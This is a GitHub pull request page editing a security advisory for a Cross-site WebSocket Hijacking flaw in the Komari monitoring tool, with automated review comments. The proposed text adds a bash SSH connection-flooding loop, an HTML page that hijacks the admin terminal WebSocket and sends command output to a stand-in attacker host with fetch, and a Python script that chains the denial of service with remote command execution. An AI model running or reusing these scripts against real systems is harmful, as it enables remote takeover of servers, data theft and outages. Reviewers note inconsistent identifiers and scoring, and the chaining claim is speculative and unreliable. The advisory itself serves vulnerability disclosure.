-
Notifications
You must be signed in to change notification settings - Fork 471
[GHSA-q355-h244-969h] Komari vulnerable to Cross-site WebSocket Hijacking #6021
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: byt3n33dl3/advisory-improvement-6021
Are you sure you want to change the base?
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change | ||||
---|---|---|---|---|---|---|
|
@@ -4,12 +4,12 @@ | |||||
"modified": "2025-08-12T00:13:29Z", | ||||||
"published": "2025-08-12T00:13:28Z", | ||||||
"aliases": [], | ||||||
"summary": "Komari vulnerable to Cross-site WebSocket Hijacking", | ||||||
"details": "### Summary\n\nWebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users\n\n### Details\n\nhttps://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35\n\nAny third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution\n\n### PoC\n\n1. Login in to your komari instance\n2. Hosting the following HTML code on internet, replace `<komari-addr>` and `<target-uuid>` into yours\n3. Visit this HTML page, you can see your node is executing `uptime` without your actions\n\n```\n<pre></pre>\n<script>\nconst socket = new WebSocket(\"wss://<komari-addr>/api/admin/client/<target-uuid>/terminal\");\nsocket.addEventListener(\"open\", (event) => {\n const binaryBlob = new Blob(['uptime\\n'], { type: 'application/octet-stream' });\n socket.send(binaryBlob);\n});\nsocket.addEventListener(\"message\", (event) => {\n event.data.text().then(x => {document.querySelector(\"pre\").append(x)});\n});\n</script>\n```\n\n### Impact\n\nAn administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.", | ||||||
"summary": "WebSocket Attack Chain via CVE-2025-22869", | ||||||
"details": "# Summary\n\nThe primary vulnerability (GHSA-q355-h244-969h) in Komari monitoring system allows Cross-Site WebSocket Hijacking, while the secondary vulnerability (CVE-2025-22869) in golang.org/x/crypto/ssh package enables denial of service attacks. These vulnerabilities can be chained together to create a more sophisticated attack where SSH resource exhaustion masks malicious WebSocket command execution.\n\n## Affected Repo Regarding GHSA-hcg3-q754-cr77\n\n<golang.org/x/crypto Vulnerable to Denial of Service (DoS) via Slow or Incomplete Key Exchange>\n\n<img width=\"1485\" height=\"509\" alt=\"proof\" src=\"https://user-images.githubusercontent.com/151133481/478779660-e75b5a90-e95f-4cdf-a865-6e0c93f49d51.png\" />\n\n\n# Details\n\nThe vulnerable code exists in Komari's WebSocket upgrader configuration at https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35\n\nThe WebSocket upgrader has completely disabled origin checking, allowing any external website to establish connections and execute terminal commands. This is combined with CVE-2025-22869 where SSH connections can consume server resources through slow key exchanges, creating a distraction during the WebSocket attack.\n\n_vuln_\n\n```go\nvar upgrader = websocket.Upgrader{\n CheckOrigin: func(r *http.Request) bool {\n return true\n },\n}\n```\n\nThe CheckOrigin function unconditionally returns true, bypassing all same-origin policy protections.\n\n```go\nvar upgrader = websocket.Upgrader{\n CheckOrigin: func(r *http.Request) bool {\n origin := r.Header.Get(\"Origin\")\n if origin == \"\" {\n return false\n }\n \n originURL, err := url.Parse(origin)\n if err != nil {\n return false\n }\n \n host := r.Host\n if strings.Contains(host, \":\") {\n host, _, _ = net.SplitHostPort(host)\n }\n \n return originURL.Host == host\n },\n}\n```\n\n# PoC\n\n1. Launch multiple incomplete SSH connections to consume server resources\n2. Use the following script to create slow SSH connections that never complete key exchange\n\n```bash\n#!/bin/bash\nTARGET_HOST=\"target.com\"\n\nfor i in {1..50}; do\n timeout 300 ssh -o ConnectTimeout=1 -o PreferredAuthentications=none ${TARGET_HOST} &\n sleep 0.1\ndone\n```\n\nthen\n\n1. Login to your Komari instance normally\n2. Host the following HTML code on any external website\n3. Replace <komari-addr> and <target-uuid> with your actual values\n4. Visit the malicious HTML page while the SSH DoS is active\n\n```html\n<pre id=\"output\"></pre>\n<script>\nconst socket = new WebSocket(\"wss://<komari-addr>/api/admin/client/<target-uuid>/terminal\");\n\nsocket.addEventListener(\"open\", (event) => {\n const commands = ['whoami\\n', 'pwd\\n', 'ps aux\\n'];\n commands.forEach((cmd, index) => {\n setTimeout(() => {\n const binaryBlob = new Blob([cmd], { type: 'application/octet-stream' });\n socket.send(binaryBlob);\n }, index * 2000);\n });\n});\n\nsocket.addEventListener(\"message\", (event) => {\n event.data.text().then(x => {\n document.querySelector(\"pre\").append(x);\n \n fetch('https://attacker-server.com/exfil', {\n method: 'POST',\n body: x\n });\n });\n});\n</script>\n```\n\n## Python PoC\n\n```py\n#!/usr/bin/env python3\n\nimport asyncio\nimport websockets\nimport subprocess\nimport threading\nimport time\nimport json\n\nclass CombinedExploit:\n def __init__(self, target_host, ssh_port=22, ws_port=25774):\n self.target_host = target_host\n self.ssh_port = ssh_port\n self.ws_port = ws_port\n self.ssh_processes = []\n \n def launch_ssh_dos(self):\n print(f\"Launching SSH DoS against {self.target_host}\")\n \n for i in range(50):\n try:\n proc = subprocess.Popen([\n 'ssh', '-o', 'ConnectTimeout=1',\n '-o', 'PreferredAuthentications=none',\n self.target_host\n ], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n self.ssh_processes.append(proc)\n time.sleep(0.1)\n except Exception as e:\n continue\n \n print(f\"SSH DoS active with {len(self.ssh_processes)} connections\")\n \n async def websocket_attack(self, target_uuid):\n uri = f\"ws://{self.target_host}:{self.ws_port}/api/admin/client/{target_uuid}/terminal\"\n \n try:\n async with websockets.connect(uri) as websocket:\n print(\"WebSocket hijacking successful\")\n \n commands = [\"id\\n\", \"uname -a\\n\", \"netstat -tlnp\\n\"]\n \n for cmd in commands:\n await websocket.send(cmd.encode())\n \n try:\n response = await asyncio.wait_for(websocket.recv(), timeout=5.0)\n print(f\"Command output: {response}\")\n except asyncio.TimeoutError:\n continue\n \n except Exception as e:\n print(f\"WebSocket attack failed: {e}\")\n \n def execute_attack(self, target_uuid):\n dos_thread = threading.Thread(target=self.launch_ssh_dos)\n dos_thread.start()\n \n time.sleep(10)\n \n asyncio.run(self.websocket_attack(target_uuid))\n \n def cleanup(self):\n for proc in self.ssh_processes:\n try:\n proc.terminate()\n except:\n pass\n\nif __name__ == \"__main__\":\n target = \"vulnerable-komari-instance.com\"\n uuid = \"your-target-uuid-here\"\n \n exploit = CombinedExploit(target)\n try:\n exploit.execute_attack(uuid)\n finally:\n exploit.cleanup()\n```\n\n# Impact\n\nAn administrator of a Komari instance will execute arbitrary commands on their monitored nodes without knowledge when visiting a malicious webpage. The SSH DoS attack creates resource exhaustion and noise in logs, masking the WebSocket command execution and making detection significantly more difficult.\nThe combined attack allows for:\n\n- Remote code execution on all monitored nodes\n- Exfiltration of system information and credentials\n- Persistent access through backdoor installation\n- Service disruption through resource exhaustion\n- Reduced detection likelihood due to SSH noise\n\nAdministrators may remain unaware of the compromise for extended periods, especially if the SSH DoS is attributed to normal attack patterns rather than coordinated exploitation.\n\n# Mitigation\n\nUpdate to Komari version 0.0.0-20250809073044-53171affcaf0 or later and upgrade golang.org/x/crypto/ssh to version 0.35.0 or higher.\nImplement proper origin validation for WebSocket connections and configure SSH timeout limits to prevent resource exhaustion attacks.\nNetwork segmentation should isolate Komari instances from public networks, and comprehensive logging should monitor both SSH connection patterns and WebSocket usage for anomaly detection.", | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. The advisory references a different GHSA identifier 'GHSA-hcg3-q754-cr77' in the affected repo section, but this doesn't match the current advisory ID 'GHSA-q355-h244-969h'. This appears to be a copy-paste error that should be corrected for consistency.
Suggested change
Copilot uses AI. Check for mistakes. Positive FeedbackNegative Feedback |
||||||
"severity": [ | ||||||
{ | ||||||
"type": "CVSS_V4", | ||||||
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" | ||||||
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:H" | ||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. The CVSS v4 score change from 'AT:N' (Attack Type: None) to 'AT:P' (Attack Type: Physical) and 'SA:N' to 'SA:H' may not be accurate. Attack Type should likely remain 'AT:N' since this is a network-based attack, not requiring physical access. The SA (Subsequent System Availability) change to High seems appropriate given the SSH DoS component.
Suggested change
Copilot uses AI. Check for mistakes. Positive FeedbackNegative Feedback |
||||||
} | ||||||
], | ||||||
"affected": [ | ||||||
|
@@ -57,7 +57,11 @@ | |||||
], | ||||||
"database_specific": { | ||||||
"cwe_ids": [ | ||||||
"CWE-1385" | ||||||
"CWE-1385", | ||||||
"CWE-346", | ||||||
"CWE-352", | ||||||
"CWE-400", | ||||||
"CWE-770" | ||||||
], | ||||||
"severity": "HIGH", | ||||||
"github_reviewed": true, | ||||||
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The summary title is misleading as it suggests CVE-2025-22869 is the primary vulnerability, when it's actually the secondary one being chained with the main GHSA vulnerability. Consider a more accurate title like 'Komari WebSocket Hijacking with SSH DoS Attack Chain'.
Copilot uses AI. Check for mistakes.